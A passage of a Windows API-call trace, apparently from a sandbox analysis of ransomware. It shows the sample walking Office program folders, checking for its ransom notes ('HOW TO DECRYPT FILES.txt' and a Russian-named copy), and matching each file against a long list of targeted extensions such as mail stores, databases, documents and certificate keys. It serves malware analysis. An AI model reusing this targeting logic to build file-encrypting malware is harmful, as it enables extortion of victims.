ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 1 [0064.696] PeekMessageA (in: lpMsg=0x18f244, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f244) returned 0 [0064.696] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TAB_ON.GIF") returned -1 [0064.696] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TAB_ON.GIF") returned -1 [0064.696] lstrcmpiA (lpString1="", lpString2="TAB_ON.GIF") returned -1 [0064.696] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_OFF.GIF") returned="TAB_OFF.GIF" [0064.696] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" [0064.696] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\") returned="" [0064.696] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" [0064.696] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\springgreen\\how to decrypt files.txt")) returned 0x20 [0064.696] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\", lpString2="TAB_ON.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF" [0064.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.ems") returned 0 [0064.696] lstrlenA (lpString="*.ems") returned 5 [0064.696] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.db") returned 0 [0064.697] lstrlenA (lpString="*.db") returned 4 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.dbf") returned 0 [0064.697] lstrlenA (lpString="*.dbf") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.myox") returned 0 [0064.697] lstrlenA (lpString="*.myox") returned 6 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.myo") returned 0 [0064.697] lstrlenA (lpString="*.myo") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbw") returned 0 [0064.697] lstrlenA (lpString="*.qbw") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbb") returned 0 [0064.697] lstrlenA (lpString="*.qbb") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbm") returned 0 [0064.697] lstrlenA (lpString="*.qbm") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbo") returned 0 [0064.697] lstrlenA (lpString="*.qbo") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbx") returned 0 [0064.697] lstrlenA (lpString="*.qbx") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qba") returned 0 [0064.697] lstrlenA (lpString="*.qba") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qby") returned 0 [0064.697] lstrlenA (lpString="*.qby") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qbj") returned 0 [0064.697] lstrlenA (lpString="*.qbj") returned 5 [0064.697] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.ofx") returned 0 [0064.698] lstrlenA (lpString="*.ofx") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.qif") returned 0 [0064.698] lstrlenA (lpString="*.qif") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.mye") returned 0 [0064.698] lstrlenA (lpString="*.mye") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.mbox") returned 0 [0064.698] lstrlenA (lpString="*.mbox") returned 6 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.eml") returned 0 [0064.698] lstrlenA (lpString="*.eml") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.pst") returned 0 [0064.698] lstrlenA (lpString="*.pst") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.ost") returned 0 [0064.698] lstrlenA (lpString="*.ost") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.idx") returned 0 [0064.698] lstrlenA (lpString="*.idx") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.dbx") returned 0 [0064.698] lstrlenA (lpString="*.dbx") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.sql") returned 0 [0064.698] lstrlenA (lpString="*.sql") returned 5 [0064.698] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.mdb") returned 0 [0064.698] lstrlenA (lpString="*.mdb") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.fdb") returned 0 [0064.699] lstrlenA (lpString="*.fdb") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.wab") returned 0 [0064.699] lstrlenA (lpString="*.wab") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.dat") returned 0 [0064.699] lstrlenA (lpString="*.dat") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.txt") returned 0 [0064.699] lstrlenA (lpString="*.txt") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.jpeg") returned 0 [0064.699] lstrlenA (lpString="*.jpeg") returned 6 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.jpg") returned 0 [0064.699] lstrlenA (lpString="*.jpg") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.png") returned 0 [0064.699] lstrlenA (lpString="*.png") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.php") returned 0 [0064.699] lstrlenA (lpString="*.php") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.cs") returned 0 [0064.699] lstrlenA (lpString="*.cs") returned 4 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.cpp") returned 0 [0064.699] lstrlenA (lpString="*.cpp") returned 5 [0064.699] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.rar") returned 0 [0064.700] lstrlenA (lpString="*.rar") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.zip") returned 0 [0064.700] lstrlenA (lpString="*.zip") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.html") returned 0 [0064.700] lstrlenA (lpString="*.html") returned 6 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.htm") returned 0 [0064.700] lstrlenA (lpString="*.htm") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.xlsx") returned 0 [0064.700] lstrlenA (lpString="*.xlsx") returned 6 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.xls") returned 0 [0064.700] lstrlenA (lpString="*.xls") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.mp4") returned 0 [0064.700] lstrlenA (lpString="*.mp4") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.ppt") returned 0 [0064.700] lstrlenA (lpString="*.ppt") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.pptx") returned 0 [0064.700] lstrlenA (lpString="*.pptx") returned 6 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.doc") returned 0 [0064.700] lstrlenA (lpString="*.doc") returned 5 [0064.700] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.dot") returned 0 [0064.701] lstrlenA (lpString="*.dot") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.docx") returned 0 [0064.701] lstrlenA (lpString="*.docx") returned 6 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.7z") returned 0 [0064.701] lstrlenA (lpString="*.7z") returned 4 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.tar") returned 0 [0064.701] lstrlenA (lpString="*.tar") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.bz2") returned 0 [0064.701] lstrlenA (lpString="*.bz2") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.gz") returned 0 [0064.701] lstrlenA (lpString="*.gz") returned 4 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.mkv") returned 0 [0064.701] lstrlenA (lpString="*.mkv") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.eml") returned 0 [0064.701] lstrlenA (lpString="*.eml") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.msg") returned 0 [0064.701] lstrlenA (lpString="*.msg") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.edb") returned 0 [0064.701] lstrlenA (lpString="*.edb") returned 5 [0064.701] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.accdb") returned 0 [0064.702] lstrlenA (lpString="*.accdb") returned 7 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.odb") returned 0 [0064.702] lstrlenA (lpString="*.odb") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.java") returned 0 [0064.702] lstrlenA (lpString="*.java") returned 6 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.asm") returned 0 [0064.702] lstrlenA (lpString="*.asm") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.pfx") returned 0 [0064.702] lstrlenA (lpString="*.pfx") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.pem") returned 0 [0064.702] lstrlenA (lpString="*.pem") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.p12") returned 0 [0064.702] lstrlenA (lpString="*.p12") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.gpg") returned 0 [0064.702] lstrlenA (lpString="*.gpg") returned 5 [0064.702] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen\\TAB_ON.GIF", pszSpec="*.vsd") returned 0 [0064.702] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5ab49610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="TAB_ON.GIF", cAlternateFileName="")) returned 0 [0064.703] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0064.703] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa173f900, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa173f900, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xfd0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="SpringGreen.css", cAlternateFileName="SPRING~1.CSS")) returned 1 [0064.703] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.703] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="SpringGreen.css") returned -1 [0064.703] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="SpringGreen.css") returned -1 [0064.703] lstrcmpiA (lpString1="", lpString2="SpringGreen.css") returned -1 [0064.703] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\*.*") returned="*.*" [0064.703] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.703] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.703] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.703] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.703] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="SpringGreen.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css" [0064.704] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2a52600, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa2a52600, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadd, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="Sts.css", cAlternateFileName="")) returned 1 [0064.704] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0064.704] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Sts.css") returned -1 [0064.704] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Sts.css") returned -1 [0064.704] lstrcmpiA (lpString1="", lpString2="Sts.css") returned -1 [0064.704] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\SpringGreen.css") returned="SpringGreen.css" [0064.704] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" [0064.704] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\") returned="" [0064.704] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" [0064.704] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\how to decrypt files.txt")) returned 0x20 [0064.704] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="Sts.css" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" [0064.704] FindNextFileA (in: hFindFile=0x502558, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x72006f, dwReserved1=0x73006d, cFileName="STS2", cAlternateFileName="")) returned 1 [0064.705] lstrcmpA (lpString1=".", lpString2="STS2") returned -1 [0064.705] lstrcmpA (lpString1="..", lpString2="STS2") returned -1 [0064.705] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css") returned="Sts.css" [0064.705] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\", lpString2="STS2" | out: 